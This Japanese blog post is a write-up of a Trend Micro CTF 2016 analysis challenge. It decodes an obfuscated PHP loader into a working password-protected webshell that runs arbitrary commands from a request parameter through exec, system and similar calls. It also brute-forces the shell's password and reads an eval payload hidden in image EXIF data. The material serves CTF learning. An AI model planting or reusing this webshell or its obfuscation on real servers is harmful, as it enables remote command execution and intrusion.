CTF

Trend Micro CTF 2016 Online Qualifier: defensive 100 問題 の write-up

More than 1 year has passed since last update.

今回のTrend Micro CTF 2016のオンライン予選はあんまりガッツリは参加できなかったけれど、他のチームメイトが解けていなかった問題を一問だけは解くことができた。

解けたのは Analysis - defensive の 100点問題で、以下この問題を解いた過程について簡単にメモしておく。

Analysis - defensive の 100点問題

<?php
$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7"; 
$func="cr"."eat"."e_fun"."cti"."on";$decodeme=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$decodeme("7f1n〜(中略)〜vUP6/");?>
}

という感じのdecodeme_decodeme.phpというファイルが与えられている。 ファイル名からすると、これを何とか復号化すれば良いらしい。

PHPは知らないけれど、どうもドットが文字列連結っぽいので、ちょっと整形すると以下のようになる。

<?php
$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7"; 
$func="create_function";
$decodeme=$func('$x','eval("?>".gzinflate(base64_decode($x)));');
$decodeme("7f1n〜(中略)〜vUP6/");
?>
}

"create_function"という文字列をそのまま関数として適用できるとか、さすがPHPだな。

base64 と deflate の復号

で、「7f1n〜(中略)〜vUP6/」の部分を復号してみようと、とりあえずファイル(base64.txt)に保存して以下のようにしてみても、「Codec.Compression.Zlib: compressed data stream format error (incorrect header check)」というエラーが出てしまった。GZipの方でも同じ結果になる。 Rubyのzlibを使っても同じ。

import qualified Data.ByteString.Lazy.Char8 as BL
import qualified Data.ByteString.Base64.Lazy as Base64
import Data.Char
import qualified Codec.Compression.Zlib as Zlib
-- import qualified Codec.Compression.GZip as GZip

main = do
  s <- BL.readFile "base64.txt"
  case Base64.decode (BL.filter (not . isSpace) s) of
    Left err -> error err
    Right s2 -> do
      BL.writeFile "encoded.dat" s2
      let s3 = Zlib.decompress s2
      BL.writeFile "decoded.dat" s3

調べてみると、PHPのgzdeflate/gzinflateは、ヘッダを付けないらしい。 で、どうしたものかと思ったのだけれど、たまたま手元の環境にPHPが入っているようだったので、適当にぐぐった結果に基づいて、以下のようにして実行した。 (なお、後で調べたところ、Haskellのzlibパッケージでも、Codec.Compression.Zlib.Rawモジュールを使えば良かったようだ)

<?php
$x="7f1n〜(中略)〜UP6/";
echo gzinflate(base64_decode($x));
?>

こうして得られた結果は以下のようなPHPプログラムとなっていた。

<?php
// reference: https://github.com/b374k/b374k/blob/master/LICENSE.md
function chk_password(){
    if(!isset($GLOBALS['key'])){ die(); }
    if(trim($GLOBALS['key'])==''){ die(); }
    $glob = $GLOBALS['key'];

    $post = '';
    $cook = '';
    if (isset($_POST['key'])) { $post = $_POST['key']; }
    if (isset($_COOKIE['key'])) { $cook = $_COOKIE['key']; }
    if ($cook==$glob) { return; }

    if($post != ''){
        $key = sha1(md5($post));
        if($key==$glob){
            setcookie("key", $key, time()+36000, "/");
            $qstr = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
            header("Location: ".htmlspecialchars($_SERVER["REQUEST_URI"].$qstr, 2 | 1));
            $cook = $_COOKIE['key'];
        }
    }

    $output = "
    <html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><meta http-equiv='Content-Language' content='en-us'>
    <title>decodeme</title>
    <style type='text/css'>
    <!--
    body{ background-color:darkred; color:white; }
    hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
    -->
    </style>
    </head>
    <body>
    <br><br>
    <form method='post'>
    <center>
    <input type='password' id='key' name='key'>
    <p>enter ****</p>
    </center>
    </form>
    </body></html>";

    echo $output;
    die();

}
chk_password();
?>

<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="Content-Language" content="en-us">
<title>decodeme</title>
<style type="text/css">
<!--
body{ background-color:darkred; color:white; }
hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
-->
</style>
</head>

<?php
$GLOBALS['images']['version']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['top']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['contact']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['author']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['license']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['support']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['lock']= "iVBO〜(中略)〜gg==";

?>

<body>
<img src="data:image/png;base64,<?php echo $GLOBALS['images']['top']; ?>" alt="top" />
<p>7h15 15 51mpl3 w3b5h3ll. 1npu7 y0ur cmd h3r3.</p>
<hr>

<?php
function myshellexec($cmd)
{ 
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
  elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (($result = `$cmd`) !== false) {}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}

function _3x3c_637v3r510n($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "getversion"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['version']; ?>" alt="figure" />
    <br>
    <?php
    $result = "TMCTF webshell v1.0 beta betta";
    }  
 }
 return $result;
}

function _3x3c_wh04u7h0r($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "whoauthor"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['author']; ?>" alt="figure" />
    <br>
    <?php
    $result = "web shell cooker";
    }  
 }
 return $result;
}

function _3x3c_buyl1c3n53($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "buylicense"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['license']; ?>" alt="figure" />
    <br>
    <?php
    $result = "paid $100000000000000000000000000 :-)";
    }  
 }
 return $result;
}

function _3x3c_5h0wl0ck($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showlock"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['lock']; ?>" alt="figure" />
    <br>
    <?php
    $result = "show lock";
    }  
 }
 return $result;
}


function _3x3c_5h0w5upp0r7($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showsupport"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['support']; ?>" alt="figure" />
    <br>
    <?php
    $result = "call +99-99999-9999-999-99-99-9-99-9-999--99-99--9-9";
    }  
 }
 return $result;
}

function _3x3c_5h0wc0n74c7($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showcontact"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['contact']; ?>" alt="figure" />
    <br>
    <?php
    $result = "contact xxxxxxxxxyyyyyyyyzzzzzzz@trendmicro";
    }  
 }
 return $result;
}

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        echo myshellexec($cmd);
        echo _3x3c_637v3r510n($cmd);
        echo _3x3c_wh04u7h0r($cmd);
        echo _3x3c_buyl1c3n53($cmd);
        echo _3x3c_5h0wl0ck($cmd);
        echo _3x3c_5h0w5upp0r7($cmd);
        echo _3x3c_5h0wc0n74c7($cmd);
        echo "</pre>";
}
?>
</body>
</html>

keyパラメータをmd5とsha1の二段階でハッシュした結果を $GLOBALS['key']の値 "6c7f4d49729e58d7a458999b570e0151bc034ca7" と比較して認証している。

内容はウェブシェルっぽいけれども、各コマンドの実行結果や、コードを一通り読んでも、フラグっぽいものは見つからず、だいぶ悩んでしまった。

パスワードの探索

ふと、ひょっとして、このウェブシェルのパスワードがフラグなのではと思いついた。 しかも「enter ****」とあるので、もし4桁なら探せそうと考え、以下のように試したら、「h4ck」が求まった。 ただ、「TMCTF{h4ck}」をサブミットしても不正解。

require 'digest/md5'
require 'digest/sha1'

cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split(//)

cs.each{|c1|
  cs.each{|c2|
    cs.each{|c3|
      cs.each{|c4|
        s = c1 + c2 + c3 + c4
        s2 = Digest::SHA1.hexdigest(Digest::MD5.hexdigest(s))
        if s2 == "6c7f4d49729e58d7a458999b570e0151bc034ca7"
          puts s #=> h4ck
          puts s2
        end
      }
    }
  }
}

画像に埋め込まれたヒント

ひょっとしてソースコードでなければ画像に何か埋め込まれているのではと思って、$GLOBALS['images'] 以下の画像データを復号してファイルに保存してstringsで見てみると、lockの画像にだけ、「zTXt」や「Raw profile type exif」という文字列が含まれているのを発見。

PNGのチャンク構造を一瞬調べかけたけど、「exif」とあるし、「もしexiftoolで表示できるなら、それが早いか」と思って試してみたら、表示できた。

$ exiftool lock.png 
exiftool lock.png 
ExifTool Version Number         : 10.15
File Name                       : lock.png
Directory                       : .
File Size                       : 2.3 kB
File Modification Date/Time     : 2016:07:30 22:38:39+09:00
File Access Date/Time           : 2016:07:31 12:37:45+09:00
File Inode Change Date/Time     : 2016:07:30 22:45:15+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 71
Image Height                    : 114
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Adam7 Interlace
Exif Byte Order                 : Little-endian (Intel, II)
Make                            : /.*/e
Camera Model Name               : eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Palette                         : (Binary data 585 bytes, use -b option to extract)
Transparency                    : (Binary data 195 bytes, use -b option to extract)
Pixels Per Unit X               : 5905
Pixels Per Unit Y               : 5905
Pixel Units                     : meters
Image Size                      : 71x114
Megapixels                      : 0.008

Camera Model Name に怪しい文字列「eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));」が。ということで復号してみると、以下のようにヒントが得られる。

irb(main):002:0> Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")
Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")
=> "echo 'flag is sha1(password)';"

というわけで、先ほどのパスワードのハッシュ値を計算してみると以下のようになり、「TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}」をサブミットしたら正解になった。

irb(main):005:0> Digest::SHA1.hexdigest("h4ck")
Digest::SHA1.hexdigest("h4ck")
=> "e17e98788d6b4ac922b2df100ef9398ae0f229ad"